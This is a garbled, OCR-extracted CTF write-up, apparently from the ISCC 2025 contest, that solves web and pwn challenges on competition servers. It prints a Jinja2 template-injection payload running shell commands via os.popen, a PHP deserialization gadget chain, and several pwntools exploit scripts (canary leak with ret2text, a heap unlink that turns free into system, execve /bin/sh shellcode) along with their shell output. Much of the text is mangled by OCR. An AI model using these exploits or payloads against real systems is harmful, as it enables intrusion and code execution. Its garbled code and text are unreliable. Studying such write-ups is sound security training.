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FREERNRARA, Bk Elprocess.php

< C AF%Re 112.126.73.173:9998/process.php

EEANRLTLAE! | | EXERAEREAN! !
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3 C  AF%e 112126.73.173:9998/process.php * & e

MBRFHAAR, TREELRRHFIFEARINE! Q2rN6h3YkZBIfL52WmX.php

(©® DevTools is now available in Chinese! | Always match Chrome's language Switch DevTools to Chinese Don't show again X
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LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ¥ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

URL

http://112.126.73.173:9998/process.php

enctype

@@ Use POST method application/x-www-form-urlencoded MODIFY HEADER

Body Name Value

input_data=GaoJiGongChengShiFoYeGe User-Agent GaoJiGongChengShiFoYeGe

Name Value

Origin http://112.126.73.173:9998

FERRG

(GRS

1 <?php
2 show_source(__FILE__);
3 include('E8sP4g7UvT.php');



4  $a=$_GET['huigui_jibengong.1'];

5 $b=$_GET['huigui_jibengong.2'];

6 $c=$_GET['huigui_jibengong.3'];

-

8 $jiben = dis_numeric($a) and preg_match('/"[a-z0-9]+$/',$b);
9 qf($jiben==1)

10 {

11 if(intval($b) == 'jibengong')

12 {

13 if(strpos($b, "0")==0)

14 {

15 echo 'EARINARBIL LM v ;
16 echo '<br>';

17 echo '"IR1§HL! '

18 }

19 else

20 {

21 $$c = Sa;

22 parse_str($b,Shuiguiflag);
23 if($huiguiflag[$jibengong]==md5($c))
24 {

25 echo s$flag;

26 }

27 else{

28 echo 'EZARINAGEILEM! '
29 echo '<br>';

30 echo 'RIEEE! '
31 }

32 }

33 }

34 else

35 {

36 echo 'EZARINAGEILEM! '

37 echo '<br>';

38 echo 'RIEEE! ',

39 }

40 %

41 else

42 {

43 echo 'EARINARBIL LM v ;

44 echo '<br>';

45 echo '"IR1EHL! '

46 }

huigui_jibengong. 1@ —NRF 1T, huigui_jibengong. 2F FphpayZE B R 14 Eintvalik[E]
OFF 4t J9=="jibengong's



BmFS$Sc=Sa, Frl<$Sc="jibengong', BNSjibengong=$a=1, EtEKShuiguiflag[Sjibengong]
md5(Sc), REKShuiguiflag[1] == md5(Sc), Hitb<SbFrs#1=md5('jibengong')BIH],

Payload

(ASEEZS

1 http://112.126.73.173:9998/Q2rN6h3YkZBIfL5j2WmX . php?

huigui[jibengong.1=1&huigui[jibengong.2=xx%261=e559dcee72d03al13110efe9b6355b30d

&huigui[jibengong.3=jibengong

3 c A F=e  112.126.73.173:9998/Q2rN6h3YKZBIfL5j2WmX.php?huiguifjibengong.1=18&huiguiljibengong.2=xx%261=e559dcee72d03a13110efe9b6355b30d&huiguifjibengong.3... B ¢ ) e H

<?php

show_source (__FILE_ ) ;

include (" E8sP4g7UvT. php’) ;
$a=$_GET[’ huigui_jibengong.1'];
$b=$_GET[ huigui_jibengong.2'J;
$c=$_GET[ huigui_jibengong. 3’ J;

$jiben = is numeric($a) and preg match( /" [a—20-91+$/,§b);
if ($jiben==1)

0

{

if (intval($b) == ’ jibengong’)
[
{

if (strpos(8b, “07)==0)
[
{

echo ’EEAIAUEILIIL 7 ;
echo ’<br>’
echo ’EfIFL!

$8c = $a;

parse_str (§b, $huiguiflag) ;

if ($huiguiflag[$jibengong]l==md5($c))
{

echo $flag;

else{
echo ' IEAINAUZILIN L
echo ’<bry’ ;
echo IEfHHLZ!

echo ’EEAIAUEILIIML 7 ;
echo <
echo X

echo ' IEARTNAGEILEM !
echo '< :
echo ML

2 1SCC{UB0O(O$twP5VE~"9J@4}

PRIEEY IR
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(D DevTools is now available in Chinese! (_Aways match Chrome's language | Switch DevToois to Chinese | (_ Don't show again | x
if L0 Elements Console Sources Metwork Per Memaory i Privacy and security Lighthouse  Recorder HackBar LRI I 4
<!DOCTYPE htnl> “ Styles Computed Layout Event Listeners »»
<html lang="en"> [ a—
¥ thead> @ </head> ¥ Filter Mov cls +, @ [ 2
~ (hody> element. style {
~{div class="content™> 1
<hBEOCHEERIN, RIARE, HOMEERETE. oha -buttan { isflag. php:17
<hd> “EHMAREAR? " OhD width: 200px;
<h3>E B LT, SRR TR EE - pe::ing:lb(sme:”
= - - = padding-left: 30px;
<button id="key” class="buttonMEFFHEN . <{/buttony == S0 font-size: 16p%:
<br> border-radiug: B 10px;
ey }
<h3 R, R"’PE*””WME """" </h3> burron | user agent stylesheot
<h3> AT IER B # A R BRI, /3> appearance: aute;
<fdivy font=style: ;
¥ dgeript> @ seript> font-variant-ligatures: ;
</bady> font-rarisnt-caps:
e % font-variant-numeric: ;
html  body divcontent | button#kevbutton font-variant-east-asian: ; -

ADIR

1 <?php

2 if (dsset($S_POST['nezha'])) {

3 $nezha = json_decode($_POST['nezha']);

4

5 $seal_incantation = $nezha->incantation;

6 $md5 = $nezha->md5;

7 $secret_power = $nezha->power;

8 $true_incantation = "I_am_the_spirit_of_fire";

9

10 $final_incantation = preg_replace(
11 "/" . preg_quote(S$true_incantation, '/') . "/", '',
12 Sseal_incantation
13 )5
14
15 if ($final_incantation === $true_incantation && md5($md5) ==

md5 ($secret_power) && $md5 !== $secret_power) {

16 show_flag();
17 } else {
18 echo "<p>HEINHEMKIBEFE, MEFEHRE ! </p>";
19 }

20 } else {

21 echo "<br><h3>&EHIR, KAERRIEAEIE. . .</h3>";
22 echo "<h3>REEBEIENEEAEIKIEFZE. </h3>";
23

24 7>
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MR RN dive

BYFIRARE D 2 5 BRI, BB - NMORIREIR, RBDIHNEE—TFREHEE
e

EGIR

BE=sun+green=sueerg
B =sun+ten=suet
#T=s1ilk+work=silrow

i =wood+wood=woooow

a A W N R

W =wood+wind=wooniw

pHxiekmEflag
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(&) A F#e  view-sourcethttpy//112.126.73.173:16340/ BTy @ L @ 8

{style>
body {
background-color: #f7f7{7;
font-family: "Arial’, sans-serif:
Sx REL: BT R (RS BRSO R S R R 5

G ) i

.container |
max-width: 1000px;
background: #fff:
padding: 20px:
border-radius: 8px;
box-shadow: 0 2px 4px rebal0, 0, 0, 0.1):
/% VEL: 6 EOAE I bl T 7 B 15 L AR 5 2 8 08 TR 32

input[type="text"] |
-

H 1‘|-L| ine-block;
: Apx 0;
ST 0 2 AR O R R JELGEE A JE R R R T B A R LR B A

&submitBtn {
background-color: #00Tbff;
color: white:
border: none:
padding: 10px 20px:
border-radius: 4px:
cursor: pointer;
font-size: 18px
/% BEL: WK

3 SEGE P 4 I (L PR R (4R 0T 2 T R 4R T =

LR A fr B

#submitBtn:hover |
background-color: #0056b3;

xR OO LG RURSR 0P TR Y ST IR 35 9 2P 2R P

font-size: 24px;
margin-bottom: 20px:
= PRED: 5505 R 3 PR B i A O e R L R - 5 P PR PE

font-size: 18px;
/= FRE: FERENEE B RS EY o 35 HR 0

Fig i (R b o] BT 0 PE 55 3 WS T R T A

Clatvlad

AMMRRAT BEMER, ABRRIITE—EgetiER
get: /submit-answers?aGnsEweTr6=%E4%B8%9C%E6%96%B9

post:
answer1=%E8%A5%BF%E5%8D%97%E6%96%B9&answer2=%E4%B8%9C%E5%8D%97%E6%9
6%B9&answer3=%E5%8C%97%E6%96%B9&answer4=%E8%A5%BF%E6%96%B9&answer5=%E
4%B8%9C%E5%8C%97%E6%96%B9

<« C  AFZe 112.126.73.173:16340/submit-answers?aGnsEweTr6 =277 B & &3 RN s B
Fiat O

{"success”: true}

{8 [0 Elements Console Sources Network Performance Memory  Application  Privacy and security Lighthouse  Recorder HackBar o1 A1 & X

SPLIT 24313 TEST ~ sQLl - XSS - LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

http://112.126.73.173:16340/submit-answers?aGnsEweTr6=%E4%B8%9C%E6%96%B9 0

enctype
@@ Use POST method application/x-www-form-urlencoded MODIFY HEADER

Body Name
answer1=%E8%A5%BF%E5%8D%97%E6%96%B9&answe r2=%E4%B8%9C%E5%8D%97%E6%96%B9&ans Upgrade-Insecure-Requests 1
wer3=%E5%8C%97%E6%96%B9&answer4=%E8%A5%BF%E6%96%B9&answe r5=%E4%B8%9C%E5%8C%
97%E6%96%B9

Value

Name
User-Agent Mozilla/5.0 (Windows NT 10.@; Win( X

Name Value




<« C  Axrz:e
FExH O

{"success”: true}

112.126.73.173:16340/submit-answers?aGnsEweTr6 =275

i [0 Elements Console Sources Network Performance Memory Application  Privacy and security Lighthouse  Recorder HackBar
® @ Y Q (OPreservelog [ Disable cache Nothrotting ~ T & &
Y Filter O Invert More filters v All | Fetch/XHR || Doc || CSS |/ JS || Font | Img | Media | Manifest | WS | Wasm || Other
I 5 ms 10ms 15ms 20ms 25ms 30ms 35ms 40 ms 45ms 50 ms 55ms 60ms 65ms 70 ms 75 ms 80ms
Name X Headers Payload Preview Response Initiator Timing Cookies
€ submit-answers?aGnsEweTr... ~Content-Type: application/json
© favicon.ico Date: Thu, 15 May 2025 15:38:57 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Server: Werkzeug/3.1.3 Python/3.13.3
Set-Cookie: session=eyJhbnN3ZXJzX2NvcnJIY3QiOnRydWV9.aCYKkQ mSfqM7aMFWVb__N0Z05a0s4ft_Q; HttpOnly; Path=/
Vary: Cookie
2requests 807 B transferred o (e M o

EZlsessionfz, HIRIAERHIHEFERFRIERE/iewnaibgnehsgnit

< 6] A T2 112.126.73.173:16340/iewnaibgnehsgnit
frRdx!
KGf5tN1yO8M

ERREEEEIlag T 157

ERRM THER: KB T—XB! B3 T—XtaEE2flag

Elements  Console  Sources Network  Performance

LOAD ~ SPLIT EXECUTE TEST ~ sQLl -

URL

http://112.126.73.173:16340/iewnaibgnehsgnit

@™ Use POST method

Memory  Application  Privacy and security ~ Lighthouse ~ Recorder  HackBar

XSS ¥ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

MODIFY HEADER

Name

Cookie

Name

Upgrade-Insecure-Requests

Name

A O & @ wmmmn

Q1 m1 & i X

©

85 ms 90 ms 95 ms 100 ms 105 me m 1
* O & @ wmmE

1 @ X

MODE ~ THEME ~

Value

session=eyJhbnN3ZXJzX2NvcnJ1Y3Qior X

Value

1

REEE5T, BERERcookiedt4rinn)iRA 3 R Bt E ¥ BV EKH/nauygnoignebnat

EIMMESSTEEN

get: /nauygnoignebnat?

al=__globals__&a2=__getitem__&a3=0s&a4=popen&a5=cat%20kGf5tN1yO8M&ab=read&a7=ls



post: yongzheng={{lipsum|attr(request.args.al)|attr(request.args.a2)
(request.args.a3)|attr(request.args.ad)((request.args.ab))|attr(request.args.a6)()}}

F5flag

€« > C  AFEs: 11212673.173:16340/nauygnoignebnat?al=_ globals_8&a2=_getitem_ &a3=os8tad=popenda5=cat¥20kGf5tN1y0BMB&ab=read&a7=Is T o K2 e E

{853 Flag: ISCC{%qgP4LImea03T5&_yDRw"}

@ DevTools is now available in Chinese! | Always match Chrome's language Switch DevTools to Chinese Don't show again b4

i® [0 Elements Console Sources Metwork Performance Memory  Application  Privacy and security  Lighthouse  Recorder HackBar CRTE I 4

LOAD =~ SPLIT EXECUTE TEST - sQLl ~ XSS ~ LFI = SSRF ~ SS5TI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

6340/nauygnoignebnat?al=__globals__&a2=__getitem_ ys&ad=popeniaS=cat%2BkGf5tN1} &ab=read&a7=1s

@@ Use POST method . ST T T e MODIFY HEADER

yongzheng={{lipsum|attr(request. ) Upgrade-Insecure-Reque

(request.args. |attr(reques y
e

(( est .z Ve
(Eequest oy + Mozilla/5.8 (Windows NT 18.8; Wini X

ShallowSeek
FcE#EEflag

<« C  AFze 11212673173:49111 * O O

112.126.73.173:49111 &R
ShallowSeek i: EFHREILAEE @g.txtlg




EXRIE =X A

< 2> C  AFxke 11212673.173:49111

112.126.73.173:49111 &R
ShallowSeek #t: RIEFWH? | BAFFREREITIX—7A8!

It B BE T % E IR

< 2> C  AFxke 112126.73.173:49111

112.126.73.173:49111 B/~
ShallowSeek i%: 01_cu_5_3r35_th3b5t})

X Mlag@MEIR, MBS EMES —TIXRIERE, FTELNBRELMEAX N FHFEEXH
NEAE]




< C  AFxe 112126.73.173:49111/message.php?item=1

30 XA
WHAL&ISCCHiRR

AAIZEISCCHHRR
FBH—EWebER, ETHAR, BEILMEENER~

ERHIRIDE

2025-01 HEBEIN: AXAKFIE—TRE? STLUNARBRATMNGRES AT, (RISHEEBFRIEAIRTREME.
SEAEAMT, (RERENNMETSS, CTF—REW! BERTEMEEMES, RAIRRHMFTILAY:

(BEERRF) &iH LIRSt

JRX: WeblsEasy, #$08: 4351332, #3Z: |baWEssey, {+ANNEBIE? (RF4HAEEIM,

ZIRME R = TNIRISRPATAER D, TR
€ » G AFE: 112.126.73.173:49111/message.phpritem=3

30 XA
(BEERF) 85
SHEAISCCHE
i R (REEF) | EETEIE BN S—RU
ERHIREE

2025-01 (B
(REEiEE) f05 B3k, REE, LRSI, BMUUKZA. SEER, BRSLZE BREY, BEOHEE
P IR, BRRENL RSN, WAV, MRS, BREMERE ESER, TGRmH
3

EXREEE, TRRY. BERR, MBS, PENE, SRIFEFL. TEEE, FRRZR B8R
fBh, MFRFZR. MREFHE, BRFHL. EXMEEER, PEEERER.

FRZ@IE, RI=R. FRICE, EEGEE, NEE BT, FFEAS, MAEMER; TR
ﬁ@kgﬁﬁzgf.AEE&.EE&HEE:tﬁgﬂfﬁﬁﬁﬁﬁﬁ.NMHE,ﬁﬁ&ﬁZﬁ:ﬁIﬁ
=2, iR

EF! kivE, LatE, SERRIRE? =R, 808, ReEDIIN. fEEcE, FhEns
0, EEZE, FEETIEEHE. RIHET, CURAHES, EiRkE, NNFRE,

SHAER, THNG. ATRD, BEERE (iF) (W)  WRBERE, NateE, SHteai;
=HMBE, AHAMEWII? K8, R

—[FERHIE,

R NBIE.

2 2RI\,

BEkAERMIE,

LEEAESR,

BB RHER.

RERERCE,

ESTEDINSL!

(ASEEZS

ciphertext = "01_cu_5_3r35_th3b5t"
key = 1ist("387531189")[::-1]
ci=list(ciphertext[:len(key)])[::-1]
plaintext=1list(ciphertext[len(key):])
for 4,k in zip(ci,key):
plaintext.insert(int(k)-1,1)
print("".join(plaintext)+'!}")

N~ oo o0 WN R

B MHIRICRUAERsXHF TETH

ARIGIR

1 document.addEventListener('DOMContentLoaded', function () {
2 const btnA = document.getElementById('btn-a');

3 const btnB = document.getElementById('btn-b');

4 let alLocked = false;
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let bLocked = false;

const _ =

// HIEEAL

btnA.style.position = 'absolute';
btnB.style.position =
btnA.style.left = '60%"';
btnA.style.top = '100px';
btnB.style.left = '70%"';

btnB.style.top = '"100px"';

'absolute';

function resetPosition(btn, left, top) {

btn.style.left = left;

btn.style.top = top;

[Ox6c, Ox6T, Ox63, Ox6b];

window[String. fromCharCode (0x6c,0x6f,0x63,0x6b) +

String.fromCharCode (0x41)]

if (btoa(k + String.

aLocked = true;

function (k, v) {
fromCharCode (0x38) + v) ===

'NDM4Mg==") {

btnA.classList.add('locked');
resetPosition(btnA, '60%',

console.log("AWZHIEBIE! ");
fetch('api/mark_frag_ok.php');

'100px"');

}s

window. lockB = function
bLocked = true;

btnB.classList.add('

resetPosition(btnB,

0 {
locked');
'70%', '100px');

console.log("BIZHIEBIE! ");

15

btnA.addEventListener ('mouseenter', function () {

if (laLocked) {
const offsetX

const offsetY
btnA.style.left

btnA.style.top =

1)

Math.random() * 200 - 100;

Math.random() * 100 - 50;

= ‘calc(60% + ${offsetX}px)  ;
‘calc(100px + S${offsetYl}px) ;

btnB.addEventListener ('mouseenter', function () {

if (!bLocked) {
const offsetX

const offsetY

Math.random() * 200 - 100;
Math.random() * 100 - 50;



51 btnB.style.left = “calc(70% + ${offsetX}px) ;

52 btnB.style.top = ‘calc(100px + ${offsetY}px) ;

53 }

54 1)

55

56 btnA.addEventListener('click', function () {

57 if (!aLocked) {

58 alert(' AftaFitii®s? ');

59 } else {

60 fetch('api/get_frag.php')

61 .then(res => res.text())

62 .then(data => alert(data))

63 .catch(() => alert("iEEXEM"));

64 }

65 1)

66

67 btnB.addEventListener('click', function () {

68 if (!bLocked) {

69 fetch('api/hint.php')

70 .then(r => r.text())

71 .then(txt => alert(txt));

72 } else {

73 alert('"B(IMHNEIE: RAFIFERR: AXZRMEF, IREBAMN, mME—, F
EftREEER—MEF. ');

74 }

75 1)

76 1);

Sc&hint.php
a C  AFze 112.126.73.173:49111/api/hint.php

ShallowSeekBY4F AR R AJAXIFREE L, XFKHN=RITFT

X B2 I EX-Requested-With: XMLHttpRequest
REFHEXNKERIMark_frag_ok.php



< €] A FEe  112.126.73.173:49111/api/mark_frag_ok.php w ] & e

i [0 CElements Console Sources Network Performance Memory Application Privacy and security Lighthouse ~ Recorder HackBar B1 @& i X

SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

//112.126.73.173:49111/api/mark_frag_ok.php

Use POST method MODIFY HEADER

Name Value

X-Requested-With XMLHttpRequest

Name Value

Upgrade-Insecure-Requests 1

Name

B#Ekipn—Tget_frag.phpfAI AT

<« C  AFEe 112.126.73.173:49111/api/get_frag.php Bg Im) S, e
ISCC{0p3n
i [0 Elements Console Sources Network Performance ~Memory Application Privacy and security ~ Lighthouse ~Recorder  HackBar B1 @& i X

v  SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFl ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ MODE ~ THEME ~

URL
http://112.126.73.173:49111/api/get_frag.php

. Use POST method MODIFY HEADER

Name Value
X-Requested-With XMLHttpRequest

Name Value

Upgrade-Insecure-Requests 1

Name

BILAKRELN

=NHRANE, EREWE, FrUEERZurl, /?box1=51E7]&box2=R&box3=E&box4=$kZREIT,
EJreward.php

N\

dim



> C

A FEe 11212673.173:49101 0 b @ smmw

- reward.php

1,674 B+ 6L

(RWIEEZS

1 <?php

2 if (lisset(S_GET['xusheng']l)) {

3 7>

4 <html>

5 <head><title>Reward</title></head>
6 <body style="font-family:sans-serif;text-align:center;margin-top:15%;">
7 <h2>BEEEER? </h2>

8 <hL>REBERIAKETIZEEFG? </h1>
9 </body>

10 </html>

11 <?php

12 exit;

13 3}

14

15 error_reporting(0);

16 1ini_set('display_errors', 0);

17 7>

18

19 <?php
20
21 // JBflag.phpiEt#&, B!
22
23  class GuDingDao {
24 public $desheng;

25
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67
68
69
70
71

public function __construct() {
Sthis->desheng = array();

public function __get(Syishi) {
$dingjv = $this->desheng;
$dingjv();
return "TFXDIZER, HREEFZE";

class TieSuolLianHuan {
protected $yicheng;

public function append($Spojun) {

include ($pojun);

_invoke() {
$this->append($this->yicheng);

public function

class Jie_Xusheng {
public $sha;
public $jiu;

public function __construct($secret = 'reward.php') {

$this->sha = $secret;

public function __toString() {

return $this->jiu->sha;

public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha))

echo "fRAEMERENZE";
$this->sha = "reward.php";

echo '"fRTAEZEE? BiRER.. . BRAEMRKER<br>';

if (isset($_GET['xusheng'l)) {



72 Q@unserialize($S_GET['xusheng']);
73} else {

74 $a = new Jie_Xusheng;

75 highlight_file(__FILE__);
76}

77

78 /) P NXEkEE, CIARKMERARK!
79

REFIK, 1HiEgadgeti
Payload®l'F, BR—EHITT&

FRA—I, BHFIRoE#AL0, payloadFil T
(CES
1 0%3A11%3A%2234e%5FXusheng%22%3A2%3A%7Bs%3A3%3A%22sha%22%3B0%3A11%3A%2234 e%5FXus
heng%22%3A2%3A%7Bs%3A3%3A%22sha%22%3Bs%3A10%3A%22 reward%2Ephp%22%3Bs%3A3%3A%22]
1 U%22%3B0%3A9%3A%22GUDT ngDa0%22%3A1%3A%7Bs%3AT%3A%22desheng%22%3B0%3A14%3A%22T 1

eSuolLianHuan%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00y1cheng%22%3Bs%3A8%3A%22flag%2Eph
P2%22%3B%7D%7D%7Ds%3A3%3A%2271u%22%3BN%3B%7D

AE1FEflag

M4 &8<ERN? ARbA..... BRANRZEE
ISCC{Wu_5hu@ng_W@n_Jun_Qv_5h0u}

Pwn

genius
FZE&function3



% DA - -22 C\U ho\OneDrive\SEE\ 22
File Edit Jump Search View Debugger Lumina Options Windows Help
s E| €evev &8 & 3 Bv B O 4t s Fve m X b O O Nodebugger v

Library function Ml Regular function Ml Instruction [ Data M Unexplored | External symbol Ml Lumina function

7 Functions OF X @ IDA View-A a e} Pseudocode-A o [}

Function name 1hnsigned __inte4 function3()

_init_proc
sub_401020
_strncmp
__stack_chk_fail

char buf[24]; // [rsp+6h] [rbp-26h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

V2 = __readfsquord(ex28u);
printf(“what you want in init");
read(@, buf, exieeulLl);

8 printf("%s. thank you", buf);
__is0c99_scanf 10 gets(buf);

Tstart 11 return __readfsqword(@x28u) ~ v2;
“dl_relocate_static_pie 12}

deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy

init

function3

function2

functionl

main
__libc_csu_init
__libc_csu_fini
_tern_proc

strncmp
__stack_chk_fail
system

Zprintf

VONOV AW
-

1 BB BRI R R R RS

Iri
Iri
Iri

H
@
8

__libc_start_main
getchar
gets

Line 19 of 36
& Graph overview 08 x|

% 000011B9 function3:1 (4011B9)

Enums

Imports

Exports

& Output

All data references to the segment will be replaced by constant values.
This may lead to drastic changes in the decompiler output.
If the segment is not read-only, please change the segment NAME.

In general, the decompiler checks the segment permissions, class, and name
to determine if it is read-only.
-> 0K

Python

64{iicanaryittEE+ret2text
[l JRER

¥ IDA - attachment-22 CA\U ho\OneDrive\sZ\attachment-22
File Edit Jump Search View Debugger Lumina Options Windows Help
® H| €vov &4 & & 3 BvY @D O 4t s Fve @ X > O O Nodebugger ~

Library function [l Regular function Ml Instruction [ Data Wl Unexplored ' External symbol Ml Lumina function

@ Functions O0fX%X m IDA View-A [ = Pseudocode-A o =]

Function name 1fint init()

T _init_proc 29

7 5ub_401020 3 return system("/bin/sh");
T _strocmp 43

7 __stack_chk_fail
[ra
m

7 _rea

___isoc99_scanf
_start
_dl_relocate_static_pie
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy

init

function3

function2

functionl

main

_ libc_csu_init
"libc_csu_fini
_term_proc

strncmp

_ stack_chk_fail
system

printf

read
_libc_start main
getchar

gets

=
=
=
@
@
@
7
7

Line 18 of 36
& Graph overview 02 x|

000011A6 init:1 (4011A6)

Enums

Imports

Exports

= Output

All data references to the segment will be replaced by constant values.
This may lead to drastic changes in the decompiler output.
If the segment is not read-only, please change the segment NAME.

In general, the decompiler checks the segment permissions, class, and name
to determine if it is read-only.
-> 0K

Python

0&x

AU: idle Down Disk: 220GB

FRER—"retitiik



EE /home/starr/ROPgadget

python3 ROPgadget.py —binary attachment-22 —only "poplret”™| grep rdi

xpPRP0ORAER04B13T3 : pop j ret
Exp

(AWIEEZS

1 from pwn dimport *

2 do=remote('101.200.155.151',12000)
3 elf=ELF('./attachment-22"')

4  Hdo.recv()

5 do.sendline(b'no')

6 do.recv()

7 do.sendline(b'thanks")

8 payloadl=b'A'*x(0x20-8)

9 do.sendlineafter(b'init',payloadl)
10  do.recvuntil(b'A'x(0x20-8))
11  Canary = ub4(io.recv(8))-0xa
12 log.info("Canary:"+ (Canary))
13 payload2=b'A'*(0x20-8)+p64(Canary)+p64(0)+p64(Ox4013f3+1)+p64 (Ox4011A6)
14  Hdo.sendlineafter(b'you',payload2)
15 do.interactive()

\program\python>python3 test.py
] Opening connection to 101.200.155.151 on port 12000

D:
[
[<] Opening connection to 101.200.155.151 on port 12000:
[+] Opening connection to 101.200.155.151 on port 12000:
[

1 'D:\\program\\python\\attachment-22"

Arch: amdéed—-64-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
Stripped:

[*] Canary:0xat3d97de2u43d56000

[*] Switching to interactive mode
s
bin

dev

flag.txt

genius

lib

1ib32

libed

1ibx32

cat flag.txt
ISCC{fedldc67-2172-1975-a980—-0Ueld0d60652}

program

Trying 101.200.155.151
Done




UAFHE R
bssihiit

Strings

] Hex View-1

[x]

@ Structures

[}

]

Enums

[}

=B

Imports

[x}

&

Exports

[x}

segment align_32 public 'BSS' use64

assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

e e bl e ..

DATA XREF:
sub_401196+181Tr

Copy of shared data

DATA XREF:
sub_401196+41r

Copy of shared data

DATA XREF:
sub_401196+2CTr

Copy of shared data

LOAD: 0000000000400440T0

LOAD : 0000000000400458T0

LOAD : 0000000000400470T0

DATA XREF: sub_401160+41r

sub_401160+16Tw

DATA XREF: sub_401283+88%o

sub_401283+A0To ...

] @ 1IDA View-A B @ Pseudocode-B & Segments ] =]
.bss: 04080 ;
.bss:0000000000404080
.bss:0000000000404080 ; Segment type: Uninitialized
.bss:0000000000404080 ; Segment permissions: Read/Write
.bss:0000000000404080 _bss
.bss:0000000000404080 assume cs:_bss
.bss:0000000000404080 ;org 404080h
.bss:0000000000404080
.bss:0000000000404080 public stdout
.bss:0000000000404080 ; FILE *stdout

* v.bss:0000000000404080 stdout dg ?

.bss:0000000000404080
.bss:0000000000404080
.bss:0000000000404088 align 10h
.bss:0000000000404090 public stdin
.bss:0000000000404090 ; FILE *stdin
.bss:0000000000404090 stdin dq ?
.bss:0000000000404090
.bss:0000000000404090
.bss:0000000000404098 align 20h
.bss:00000000004040A0 public stderr
.bss:00000000004040A0 ; FILE *stderr
.bss:00000000004040A0 stderr dq ?
.bss:00000000004040A0
.bss:00000000004040A0
.bss:00000000004040A8 byte_4040A8 db ?
.bss:00000000004040A8
.bss:00000000004040A9 align 26h
.bss:00000000004040C0 ; _QWORD qword_4840C0[128]
.bss:00000000004040C0 qword_4040C0 dg 80h dup(?)
.bss:00000000004040C0
.bss:00000000004040C0 _bss ends
.bss:00000000004040C0
extern: 4044C0 ;
extern:00000000004044C0
extern:00000000004044C0 ; Segment type: Externs
extern:00000000004044C0 ; extern

Exp

REIIR

O 0o N oo b~ W NP
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W N B ® © o ~NO M WN R

from pwn import *

jo=remote("101.200.155.151",12300)
elf=ELF('attachment-23.s0"')

elff=ELF('attachment-23")

def add(i,s):
jo.sendlineafter (b"choice:\n",b"1")

jo.sendlineafter (b"index:\n",str(i).encode())

jo.sendlineafter(b"size:\n",str(s).encode())
def delete(i):
jo.sendlineafter (b"choice:\n",b"2")

jo.sendlineafter (b"index:\n",str(i).encode())
def edit(i,c):

jo.sendlineafter (b"choice:\n",b"3")

io.sendlineafter(b'index:',str(i).encode())

jo.sendlineafter(b'length:',str(len(c)).encode())

jo.sendafter(b'content:\n',c)

def

show(i) :

jo.sendlineafter(b"choice:\n",b"4")

jo.sendlineafter (b"index:",str(i).encode())
bss=0x4040C0
add (0,0x20)
add(1,0x410)
add(2,0x10)



24  edit(2,b'/bin/sh\x00")

25  payload=p64(0)+p64 (0x20)+p64 (bss—-0x18)+p64 (bss-0x10) +p64 (0x20)+p64 (Ox420)

26 edit(0,payload)

27 delete(1)

28 payload=p64(0)*3+p64(elff.got['free'])*2
29 edit(0,payload)

30  show(0)

31 do.recvline()

32 Free=u64(io.recv(6).ljust(8,b"\x00"))
33 ( (Free))

34  system=Free-elf.sym.free+telf.sym.system
35 edit(l,p64(system))

36 delete(2)

37 do.interactive()

\program\python>python3 test.py
] Opening connection to 101.200.155.151 on port 12300

D:
[
[x] Opening connection to 101.200.155.151 on port 12300:
[+] Opening connection to 101.200.155.151 on port 12300:
[

1 'D:\\program\\python\\attachment-23.so’
Arch: amdéud-6U-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
SHSTK:
IBT:
'D:\\program\\python\\attachment-23"
Arch: amdéd-64-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
Ox7ff2b5fe76d0
[*] Switching to interactive mode
ISCC{8ab59a95-dbf7-14573-ae22-b760a2ddcd31}

Content deleted successfully.
=== Menu ===
add content
delete content
edit content
. show content
. exit
choice:

mutsumi

vmH+jit

Trying 101.200.155.151
Done




1°==+from pwn import =

2 do=remote("101.200.155.151",12800)

3  context.arch='amd64'

4 def add(indir):

5 jo.sendline(b"saki,ido")

6 jo.sendline(str(indir).encode())

7 def run():

8 jo.sendline(b"saki,stop")

9 addresses = [

10 Ox0ac08348, 0Oxff3148, 0x11c78348, 0x08e7cl48,
11 0x40c78348, 0Ox08e7cl48, 0Ox00fe8948, 0Ox7B207B2,
12 OxffB2050f, Oxc03148, Oxff3148, OxffB2050f
13 ]

14  for addr 1in addresses:

15 add (1)

16 add (addr)

17 run()

18 payload =b'\x90'*0x70+asm("mov rdi,0x1140f0;mov rax,0x3bj;xor rsi,rsij;xor
rdx,rdx;syscall")

19 payload =payload.ljust(OxfO,b'\x90"')+b"'/bin/sh’

20  jo.send(payload)

21  do.interactive()

/home/starr

python3 test.py
[+] Opening connection to 1©1.200.155.151 on port 1288@: Done
[#] Switching to interactive mode
Mutsumi wants to move saki, come to help her
Ok, now sakl stops

Fufu

fmtittEcanaryfpie, fAGret2libc

ARG ER

1 from pwn dimport *

2 context.terminal = ['"tmux', 'splitw', '-h']
3 o0 = remote("101.200.155.151", 12600)

4  def leak_canary():
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10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51

io.sendlineafter (b"Furina: Your choice? >> ", b"1")
jo.sendlineafter (b"Furina: Time is limited! >> ", b"6")
jo.recvuntil(b"Furina: Present your evidence! >> ")
jo.send(b"%175p")
canary = int(io.recv(18), 16)
jo.sendafter (b"hcy want to eat chicken! >> ", b'a'")
return canary

def leak_pie():
